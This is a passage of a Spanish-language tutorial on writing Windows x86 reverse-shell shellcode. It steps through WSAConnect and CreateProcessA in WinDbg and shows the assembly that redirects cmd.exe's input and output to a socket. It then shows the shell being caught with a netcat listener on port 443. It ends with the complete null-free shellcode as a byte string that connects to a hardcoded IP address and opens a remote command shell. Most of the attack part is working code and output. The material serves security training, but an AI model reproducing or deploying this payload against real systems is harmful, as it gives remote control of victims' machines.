Podemos ver que antes de llamar a la función podemos ver todos los argumentos y el segundo es un puntero a una estructura, veamos que pasa al llamar a WSAConnect
0:000> r
eax=00000010 ebx=773a0000 ecx=e5a1d462 edx=00000014 esi=0000010c edi=009ffeb8
eip=0058111e esp=009ffe9c ebp=009fff14 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
shellcode+0x111e:
0058111e ff55e0 call dword ptr [ebp-20h] ss:002b:009ffef4={ws2_32!WSAConnect (773d6c80)}
0:000> dds esp L7
009ffe9c 0000010c
009ffea0 009ffeb8
009ffea4 00000010
009ffea8 00000000
009ffeac 00000000
009ffeb0 00000000
009ffeb4 00000000
0:000> dds poi(esp + 4) L4
009ffeb8 bb010002
009ffebc 80e9a8c0
009ffec0 00000000
009ffec4 00000000
0:000> p
eax=00000000 ebx=773a0000 ecx=00000000 edx=009ffbc0 esi=0000010c edi=009ffeb8
eip=00581121 esp=009ffeb8 ebp=009fff14 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
shellcode+0x1121:
00581121 56 push esi
Cuando llamamos a la función recibimos una conexión en nuestro listener
, significa que el socket se ha creado y conectado a nuestra ip por el puerto 443
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.233.159
Para llamar a CreateProcessA nuevamente necesitaremos varios argumentos asi que probablemente necesitaremos analizar uno por uno para conocer sus valores
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
• lpApplicationName
: requiere el puntero a una cadena que representa la aplicación, si el parametro es null (0
) el parametro lpCommandLine no puede ser null (0
)
• lpCommandLine
: espera un puntero a la cadena que contenga el comando a ejecutar, usaremos este para ejecutar una cmd.exe
• lpProcessAttributes:, lpThreadAttributes
: requieren punteros a estructuras SECURITY_ATTRIBYTES, para el shellcode pueden valer null (0
)
• binheritHandles
: espera un valor booleano, determina si los handlers del proceso son heredados por el proceso (cmd.exe), este valor sera true (1
)
• dwCreationFlags
: espera varios Process Creation Flags, si vale null (0
) utilizara las mismas banderas que el proceso que llama
• lpEnviroment
: espera un puntero al enviroment block, si vale null (0
) cmpartira el mismo que el proceso que llama
• lpCurrentDirectory
: permite especificar la ruta al directorio del proceso, si vale null (0
) utilizara la misma que el proceso que llama
• lpStartupInfo
: requiere un puntero a la estructura STARTUPINFOA
que necesitaremos crear para ejecutar nuestro shellcode
• lpProcessInformation
: requiere un puntero a la estructura PROCESS_INFORMATION
pero solo necesitamos conocer el tamaño de la estructura
Para la estructura STARTUPINFOA
realmente solo necesitamos preocuparnos de unos pocos valores ya que el resto puede establecerse en null (0
), el primer valor es cb
que requiere el tamaño de la estructura que podemos calcular en windbg
0:000> dt STARTUPINFOA
MSVCR120!STARTUPINFOA
+0x000 cb : Uint4B
+0x004 lpReserved : Ptr32 Char
+0x008 lpDesktop : Ptr32 Char
+0x00c lpTitle : Ptr32 Char
+0x010 dwX : Uint4B
+0x014 dwY : Uint4B
+0x018 dwXSize : Uint4B
+0x01c dwYSize : Uint4B
+0x020 dwXCountChars : Uint4B
+0x024 dwYCountChars : Uint4B
+0x028 dwFillAttribute : Uint4B
+0x02c dwFlags : Uint4B
+0x030 wShowWindow : Uint2B
+0x032 cbReserved2 : Uint2B
+0x034 lpReserved2 : Ptr32 UChar
+0x038 hStdInput : Ptr32 Void
+0x03c hStdOutput : Ptr32 Void
+0x040 hStdError : Ptr32 Void
0:000> ?? sizeof(STARTUPINFOA)
unsigned int 0x44
El segundo valor es dwFlags
, determina si ciertos valores de la estructura se utilizan cuando el proceso crea una ventana, necesitamos establecer este miembro a la flag STARTF_USESTDHANDLES
(0x100
) para habilitar los miembros hStdInput
, hStdOutput
y hStdError
, tambien necesitamos establecer estos los valores, usaremos el descriptor del socket para redirigir el stdin
, stdout
y stderr
al socket
.create_startupinfoa:
push esi ; hStdError
push esi ; hStdOutput
push esi ; hStdInput
xor eax, eax ; $eax = 0x0
push eax ; lpReserved2
push eax ; cbReserved2 & wShowWindow
mov ax, 0x101 ; $eax = 0x101
dec eax ; $eax = 0x100
push eax ; dwFlags
xor eax, eax ; $eax = 0x0
push eax ; dwFillAttribute
push eax ; dwYCountChars
push eax ; dwXCountChars
push eax ; dwYSize
push eax ; dwXSize
push eax ; dwY
push eax ; dwX
push eax ; lpTitle
push eax ; lpDesktop
push eax ; lpReserved
mov al, 0x44 ; $eax = 0x44
push eax ; cb
mov edi, esp ; $edi = startupinfoa
Para el valor del parametro lpCommandLine
necesitaremos crear la string del comando a ejecutar que es cmd.exe
y guardar el puntero a esta en el registro ebx
.create_string:
mov eax, 0xff9a879b ; $eax = 0xff9a879b
neg eax ; $eax = 0x00657865
push eax ; "exe\x00"
push 0x2e646d63 ; "cmd."
mov ebx, esp ; $ebx = "cmd.exe"
Una vez tenemos todos los argumentos podemos guardarlos en el stack y proceder a llamar a CreateProcessA
para ejecutar la cmd.exe
que redirigira su output al socket
.call_createprocessa:
mov eax, esp ; $eax = $esp
xor ecx, ecx ; $ecx = 0x0
mov cx, 0x390 ; $ecx = 0x390
sub eax, ecx ; sub cx to avoid overwriting
push eax ; lpProcessInformation
push edi ; lpStartupInfo
xor eax, eax ; $eax = 0x0
push eax ; lpCurrentDirectory
push eax ; lpEnvironment
push eax ; dwCreationFlags
inc eax ; $eax = 0x1 (TRUE)
push eax ; bInheritHandles
dec eax ; $eax = 0x0
push eax ; lpThreadAttributes
push eax ; lpProcessAttributes
push ebx ; lpCommandLine
push eax ; lpApplicationName
call [ebp - 0x14] ; call CreateProcessA()
Al ejecutar CreateProcessA
se ejecuta una cmd.exe
que redirige su output al socket que previamente se conecto a nuestro listener
por lo que obtenemos una shell
0:000> r
eax=00000000 ebx=009ffe6c ecx=00000390 edx=009ffbc0 esi=0000010c edi=009ffe74
eip=00581166 esp=009ffe44 ebp=009fff14 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
shellcode+0x1166:
00581166 ff55ec call dword ptr [ebp-14h] ss:002b:009fff00={KERNEL32!CreateProcessAStub (76af2d70)}
0:000> p
ModLoad: 767d0000 76848000 C:\Windows\SysWOW64\sechost.dll
ModLoad: 77600000 77619000 C:\Windows\SysWOW64\bcrypt.dll
eax=00000001 ebx=009ffe6c ecx=14333a6f edx=00a70000 esi=0000010c edi=009ffe74
eip=00581169 esp=009ffe6c ebp=009fff14 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
shellcode+0x1169:
00581169 31c9 xor ecx,ecx
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.233.159
Microsoft Windows [Versión 10.0.16299.125]
(c) Microsoft Corporation. Todos los derechos reservados.
C:\Program Files\Windows Kits\10\Debuggers> whoami
windows\pc1
C:\Program Files\Windows Kits\10\Debuggers>
Como resultado final obtenemos un shellcode
de apenas 358 bytes
libre de null bytes y badchars comunes que nos sirve para enviarnos una reverse shell
, y eliminando cosas innecesarias podemos dejar un shellcode de apenas 340 bytes
❯ nasm -f elf shellcode.asm -o shellcode.o; ld shellcode.o -m elf_i386 -o shellcode
❯ objdump -d shellcode | grep '[0-9a-f]:' | grep -v 'shellcode' | cut -f2 -d: | cut -f1-6 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s
\x89\xe5\x83\xec\x28\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x14\x8b\x36\xad\x8b\x58\x10\xeb\x06\x5e\x89\x75\xf8\xeb\x53\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x35\x49\x8b\x45\xfc\x8b\x34\x88\x01\xde\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x2f\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75\xe0\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61\xc3\x68\x33\x59\xe0\x8e\xff\x55\xf8\x89\x45\xf4\x68\x6c\x43\x3c\x58\xff\x55\xf8\x89\x45\xf0\x68\xc9\x2d\xf7\xa9\xff\x55\xf8\x89\x45\xec\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\x55\xf0\x89\xc3\x68\x10\x70\x7a\xe1\xff\x55\xf8\x89\x45\xe8\x68\xc5\x6f\xa0\xe0\xff\x55\xf8\x89\x45\xe4\x68\xa8\x6c\x96\xe0\xff\x55\xf8\x89\x45\xe0\x89\xe0\x31\xc9\x66\xb9\x90\x05\x29\xc8\x50\x31\xc0\x66\xb8\x02\x02\x50\xff\x55\xe8\x31\xc0\x50\x50\x50\xb0\x06\x50\xb0\x01\x50\x40\x50\xff\x55\xe4\x89\xc6\x31\xc0\x50\x50\x68\xc0\xa8\xe9\x80\x66\xb8\x01\xbb\xc1\xe0\x10\x66\x83\xc0\x02\x50\x89\xe7\x31\xc0\x50\x50\x50\x50\xb0\x10\x50\x57\x56\xff\x55\xe0\x56\x56\x56\x31\xc0\x50\x50\x66\xb8\x01\x01\x48\x50\x31\xc0\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\xb0\x44\x50\x89\xe7\xb8\x9b\x87\x9a\xff\xf7\xd8\x50\x68\x63\x6d\x64\x2e\x89\xe3\x89\xe0\x31\xc9\x66\xb9\x90\x03\x29\xc8\x50\x57\x31\xc0\x50\x50\x50\x40\x50\x48\x50\x50\x53\x50\xff\x55\xec\x99\x52\x6a\xff\xff\x55\xf4